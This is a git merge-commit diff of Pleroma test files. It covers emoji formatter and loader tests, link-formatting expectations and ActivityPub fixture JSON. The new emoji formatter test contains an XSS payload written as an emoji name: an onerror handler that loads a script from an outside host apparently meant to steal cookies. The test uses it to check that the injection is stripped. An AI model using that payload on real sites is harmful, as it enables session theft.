Merge branch 'develop' into feature/moderation-log-filters
This commit is contained in:
commit
e7836adf21
258 changed files with 4796 additions and 2730 deletions
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ActivityTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.CaptchaTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ConfigTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ActivityExpirationWorkerTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.ScheduledActivityDaemonTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Emails.AdminEmailTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Emails.MailerTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Emails.UserEmailTest do
|
||||
|
|
|
|||
64
test/emoji/formatter_test.exs
Normal file
64
test/emoji/formatter_test.exs
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Emoji.FormatterTest do
|
||||
alias Pleroma.Emoji
|
||||
alias Pleroma.Emoji.Formatter
|
||||
use Pleroma.DataCase
|
||||
|
||||
describe "emojify" do
|
||||
test "it adds cool emoji" do
|
||||
text = "I love :firefox:"
|
||||
|
||||
expected_result =
|
||||
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
|
||||
|
||||
assert Formatter.emojify(text) == expected_result
|
||||
end
|
||||
|
||||
test "it does not add XSS emoji" do
|
||||
text =
|
||||
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
|
||||
|
||||
custom_emoji =
|
||||
{
|
||||
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
|
||||
"https://placehold.it/1x1"
|
||||
}
|
||||
|> Pleroma.Emoji.build()
|
||||
|
||||
expected_result =
|
||||
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
|
||||
|
||||
assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
|
||||
end
|
||||
end
|
||||
|
||||
describe "get_emoji" do
|
||||
test "it returns the emoji used in the text" do
|
||||
text = "I love :firefox:"
|
||||
|
||||
assert Formatter.get_emoji(text) == [
|
||||
{"firefox",
|
||||
%Emoji{
|
||||
code: "firefox",
|
||||
file: "/emoji/Firefox.gif",
|
||||
tags: ["Gif", "Fun"],
|
||||
safe_code: "firefox",
|
||||
safe_file: "/emoji/Firefox.gif"
|
||||
}}
|
||||
]
|
||||
end
|
||||
|
||||
test "it returns a nice empty result when no emojis are present" do
|
||||
text = "I love moominamma"
|
||||
assert Formatter.get_emoji(text) == []
|
||||
end
|
||||
|
||||
test "it doesn't die when text is absent" do
|
||||
text = nil
|
||||
assert Formatter.get_emoji(text) == []
|
||||
end
|
||||
end
|
||||
end
|
||||
83
test/emoji/loader_test.exs
Normal file
83
test/emoji/loader_test.exs
Normal file
|
|
@ -0,0 +1,83 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Emoji.LoaderTest do
|
||||
use ExUnit.Case, async: true
|
||||
alias Pleroma.Emoji.Loader
|
||||
|
||||
describe "match_extra/2" do
|
||||
setup do
|
||||
groups = [
|
||||
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
|
||||
"wildcard folder": "/emoji/custom/*/file.png",
|
||||
"wildcard files": "/emoji/custom/folder/*.png",
|
||||
"special file": "/emoji/custom/special.png"
|
||||
]
|
||||
|
||||
{:ok, groups: groups}
|
||||
end
|
||||
|
||||
test "config for list of files", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/custom/first_file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "list of files"
|
||||
end
|
||||
|
||||
test "config with wildcard folder", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/custom/some_folder/file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard folder"
|
||||
end
|
||||
|
||||
test "config with wildcard folder and subfolders", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard folder"
|
||||
end
|
||||
|
||||
test "config with wildcard files", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/custom/folder/some_file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard files"
|
||||
end
|
||||
|
||||
test "config with wildcard files and subfolders", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard files"
|
||||
end
|
||||
|
||||
test "config for special file", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/custom/special.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "special file"
|
||||
end
|
||||
|
||||
test "no mathing returns nil", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Loader.match_extra("/emoji/some_undefined.png")
|
||||
|
||||
refute group
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
|
|||
|
||||
test "first emoji", %{emoji_list: emoji_list} do
|
||||
[emoji | _others] = emoji_list
|
||||
{code, path, tags} = emoji
|
||||
{code, %Emoji{file: path, tags: tags}} = emoji
|
||||
|
||||
assert tuple_size(emoji) == 3
|
||||
assert tuple_size(emoji) == 2
|
||||
assert is_binary(code)
|
||||
assert is_binary(path)
|
||||
assert is_list(tags)
|
||||
|
|
@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do
|
|||
|
||||
test "random emoji", %{emoji_list: emoji_list} do
|
||||
emoji = Enum.random(emoji_list)
|
||||
{code, path, tags} = emoji
|
||||
{code, %Emoji{file: path, tags: tags}} = emoji
|
||||
|
||||
assert tuple_size(emoji) == 3
|
||||
assert tuple_size(emoji) == 2
|
||||
assert is_binary(code)
|
||||
assert is_binary(path)
|
||||
assert is_list(tags)
|
||||
end
|
||||
end
|
||||
|
||||
describe "match_extra/2" do
|
||||
setup do
|
||||
groups = [
|
||||
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
|
||||
"wildcard folder": "/emoji/custom/*/file.png",
|
||||
"wildcard files": "/emoji/custom/folder/*.png",
|
||||
"special file": "/emoji/custom/special.png"
|
||||
]
|
||||
|
||||
{:ok, groups: groups}
|
||||
end
|
||||
|
||||
test "config for list of files", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/custom/first_file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "list of files"
|
||||
end
|
||||
|
||||
test "config with wildcard folder", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/custom/some_folder/file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard folder"
|
||||
end
|
||||
|
||||
test "config with wildcard folder and subfolders", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard folder"
|
||||
end
|
||||
|
||||
test "config with wildcard files", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/custom/folder/some_file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard files"
|
||||
end
|
||||
|
||||
test "config with wildcard files and subfolders", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "wildcard files"
|
||||
end
|
||||
|
||||
test "config for special file", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/custom/special.png")
|
||||
|> to_string()
|
||||
|
||||
assert group == "special file"
|
||||
end
|
||||
|
||||
test "no mathing returns nil", %{groups: groups} do
|
||||
group =
|
||||
groups
|
||||
|> Emoji.match_extra("/emoji/some_undefined.png")
|
||||
|
||||
refute group
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
1
test/fixtures/tesla_mock/poll_modified.json
vendored
Normal file
1
test/fixtures/tesla_mock/poll_modified.json
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":8,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":3,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}
|
||||
1
test/fixtures/tesla_mock/poll_original.json
vendored
Normal file
1
test/fixtures/tesla_mock/poll_original.json
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":4,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":0,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}
|
||||
1
test/fixtures/tesla_mock/rin.json
vendored
Normal file
1
test/fixtures/tesla_mock/rin.json
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://patch.cx/oauth/authorize","oauthRegistrationEndpoint":"https://patch.cx/api/v1/apps","oauthTokenEndpoint":"https://patch.cx/oauth/token","sharedInbox":"https://patch.cx/inbox"},"followers":"https://patch.cx/users/rin/followers","following":"https://patch.cx/users/rin/following","icon":{"type":"Image","url":"https://patch.cx/media/4e914f5b84e4a259a3f6c2d2edc9ab642f2ab05f3e3d9c52c81fc2d984b3d51e.jpg"},"id":"https://patch.cx/users/rin","image":{"type":"Image","url":"https://patch.cx/media/f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg?name=f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg"},"inbox":"https://patch.cx/users/rin/inbox","manuallyApprovesFollowers":false,"name":"rinpatch","outbox":"https://patch.cx/users/rin/outbox","preferredUsername":"rin","publicKey":{"id":"https://patch.cx/users/rin#main-key","owner":"https://patch.cx/users/rin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5DLtwGXNZElJyxFGfcVc\nXANhaMadj/iYYQwZjOJTV9QsbtiNBeIK54PJrYuU0/0YIdrvS1iqheX5IwXRhcwa\nhm3ZyLz7XeN9st7FBni4BmZMBtMpxAuYuu5p/jbWy13qAiYOhPreCx0wrWgm/lBD\n9mkgaxIxPooBE0S4ZWEJIDIV1Vft3AWcRUyWW1vIBK0uZzs6GYshbQZB952S0yo4\nFzI1hABGHncH8UvuFauh4EZ8tY7/X5I0pGRnDOcRN1dAht5w5yTA+6r5kebiFQjP\nIzN/eCO/a9Flrj9YGW7HDNtjSOH0A31PLRGlJtJO3yK57dnf5ppyCZGfL4emShQo\ncQIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"your friendly neighborhood pleroma developer<br>I like cute things and distributed systems, and really hate delete and redrafts","tag":[],"type":"Person","url":"https://patch.cx/users/rin"}
|
||||
|
|
@ -1,47 +0,0 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.FlakeIdTest do
|
||||
use Pleroma.DataCase
|
||||
import Kernel, except: [to_string: 1]
|
||||
import Pleroma.FlakeId
|
||||
|
||||
describe "fake flakes (compatibility with older serial integers)" do
|
||||
test "from_string/1" do
|
||||
fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
|
||||
assert from_string("42") == fake_flake
|
||||
assert from_string(42) == fake_flake
|
||||
end
|
||||
|
||||
test "zero or -1 is a null flake" do
|
||||
fake_flake = <<0::integer-size(128)>>
|
||||
assert from_string("0") == fake_flake
|
||||
assert from_string("-1") == fake_flake
|
||||
end
|
||||
|
||||
test "to_string/1" do
|
||||
fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
|
||||
assert to_string(fake_flake) == "42"
|
||||
end
|
||||
end
|
||||
|
||||
test "ecto type behaviour" do
|
||||
flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>>
|
||||
flake_s = "9eoozpwTul5mjSEDRI"
|
||||
|
||||
assert cast(flake) == {:ok, flake_s}
|
||||
assert cast(flake_s) == {:ok, flake_s}
|
||||
|
||||
assert load(flake) == {:ok, flake_s}
|
||||
assert load(flake_s) == {:ok, flake_s}
|
||||
|
||||
assert dump(flake_s) == {:ok, flake}
|
||||
assert dump(flake) == {:ok, flake}
|
||||
end
|
||||
|
||||
test "is_flake_id?/1" do
|
||||
assert is_flake_id?("9eoozpwTul5mjSEDRI")
|
||||
refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b")
|
||||
end
|
||||
end
|
||||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.FormatterTest do
|
||||
|
|
@ -19,7 +19,7 @@ defmodule Pleroma.FormatterTest do
|
|||
text = "I love #cofe and #2hu"
|
||||
|
||||
expected_text =
|
||||
"I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
|
||||
~s(I love <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag ugc">#cofe</a> and <a class="hashtag" data-tag="2hu" href="http://localhost:4001/tag/2hu" rel="tag ugc">#2hu</a>)
|
||||
|
||||
assert {^expected_text, [], _tags} = Formatter.linkify(text)
|
||||
end
|
||||
|
|
@ -28,7 +28,7 @@ defmodule Pleroma.FormatterTest do
|
|||
text = "#fact_3: pleroma does what mastodon't"
|
||||
|
||||
expected_text =
|
||||
"<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
|
||||
~s(<a class="hashtag" data-tag="fact_3" href="http://localhost:4001/tag/fact_3" rel="tag ugc">#fact_3</a>: pleroma does what mastodon't)
|
||||
|
||||
assert {^expected_text, [], _tags} = Formatter.linkify(text)
|
||||
end
|
||||
|
|
@ -39,21 +39,21 @@ defmodule Pleroma.FormatterTest do
|
|||
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
|
||||
|
||||
expected =
|
||||
"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
|
||||
~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://mastodon.social/@lambadalambda"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
|
||||
~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://mastodon.social:4000/@lambadalambda"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
|
||||
~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
|
|
@ -63,55 +63,57 @@ defmodule Pleroma.FormatterTest do
|
|||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "http://www.cs.vu.nl/~ast/intel/"
|
||||
expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
|
||||
|
||||
expected =
|
||||
~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
|
||||
"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
|
||||
"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
|
||||
"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://en.wikipedia.org/wiki/Duff's_device"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
|
||||
"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "https://pleroma.com https://pleroma.com/sucks"
|
||||
|
||||
expected =
|
||||
"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
|
||||
"<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text = "xmpp:contact@hacktivis.me"
|
||||
|
||||
expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
|
||||
expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
|
||||
text =
|
||||
"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
|
||||
|
||||
expected = "<a href=\"#{text}\">#{text}</a>"
|
||||
expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"
|
||||
|
||||
assert {^expected, [], []} = Formatter.linkify(text)
|
||||
end
|
||||
|
|
@ -135,13 +137,13 @@ defmodule Pleroma.FormatterTest do
|
|||
assert length(mentions) == 3
|
||||
|
||||
expected_text =
|
||||
"<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
|
||||
~s(<span class="h-card"><a data-user="#{gsimg.id}" class="u-url mention" href="#{
|
||||
gsimg.ap_id
|
||||
}'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
|
||||
}" rel="ugc">@<span>gsimg</span></a></span> According to <span class="h-card"><a data-user="#{
|
||||
archaeme.id
|
||||
}' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
|
||||
}" class="u-url mention" href="#{"https://archeme/@archa_eme_"}" rel="ugc">@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class="h-card"><a data-user="#{
|
||||
archaeme_remote.id
|
||||
}' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
|
||||
}" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@<span>archaeme</span></a></span>)
|
||||
|
||||
assert expected_text == text
|
||||
end
|
||||
|
|
@ -156,7 +158,9 @@ defmodule Pleroma.FormatterTest do
|
|||
assert length(mentions) == 1
|
||||
|
||||
expected_text =
|
||||
"<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
|
||||
~s(<span class="h-card"><a data-user="#{mike.id}" class="u-url mention" href="#{
|
||||
mike.ap_id
|
||||
}" rel="ugc">@<span>mike</span></a></span> test)
|
||||
|
||||
assert expected_text == text
|
||||
end
|
||||
|
|
@ -170,7 +174,7 @@ defmodule Pleroma.FormatterTest do
|
|||
assert length(mentions) == 1
|
||||
|
||||
expected_text =
|
||||
"<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
|
||||
~s(<span class="h-card"><a data-user="#{o.id}" class="u-url mention" href="#{o.ap_id}" rel="ugc">@<span>o</span></a></span> hi)
|
||||
|
||||
assert expected_text == text
|
||||
end
|
||||
|
|
@ -192,13 +196,17 @@ defmodule Pleroma.FormatterTest do
|
|||
assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
|
||||
|
||||
assert expected_text ==
|
||||
"<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
|
||||
~s(<span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{
|
||||
user.ap_id
|
||||
}'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
|
||||
}" rel="ugc">@<span>#{user.nickname}</span></a></span> <span class="h-card"><a data-user="#{
|
||||
other_user.id
|
||||
}' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
|
||||
}" class="u-url mention" href="#{other_user.ap_id}" rel="ugc">@<span>#{
|
||||
other_user.nickname
|
||||
}</span></a></span> hey dudes i hate <span class="h-card"><a data-user="#{
|
||||
third_user.id
|
||||
}' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
|
||||
}" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@<span>#{
|
||||
third_user.nickname
|
||||
}</span></a></span>)
|
||||
end
|
||||
|
||||
test "given the 'safe_mention' option, it will still work without any mention" do
|
||||
|
|
@ -217,6 +225,27 @@ defmodule Pleroma.FormatterTest do
|
|||
|
||||
assert expected_text =~ "how are you doing?"
|
||||
end
|
||||
|
||||
test "it can parse mentions and return the relevant users" do
|
||||
text =
|
||||
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
|
||||
|
||||
o = insert(:user, %{nickname: "o"})
|
||||
jimm = insert(:user, %{nickname: "jimm"})
|
||||
gsimg = insert(:user, %{nickname: "gsimg"})
|
||||
archaeme = insert(:user, %{nickname: "archaeme"})
|
||||
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
|
||||
|
||||
expected_mentions = [
|
||||
{"@archaeme", archaeme},
|
||||
{"@archaeme@archae.me", archaeme_remote},
|
||||
{"@gsimg", gsimg},
|
||||
{"@jimm", jimm},
|
||||
{"@o", o}
|
||||
]
|
||||
|
||||
assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".parse_tags" do
|
||||
|
|
@ -234,69 +263,6 @@ defmodule Pleroma.FormatterTest do
|
|||
end
|
||||
end
|
||||
|
||||
test "it can parse mentions and return the relevant users" do
|
||||
text =
|
||||
"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
|
||||
|
||||
o = insert(:user, %{nickname: "o"})
|
||||
jimm = insert(:user, %{nickname: "jimm"})
|
||||
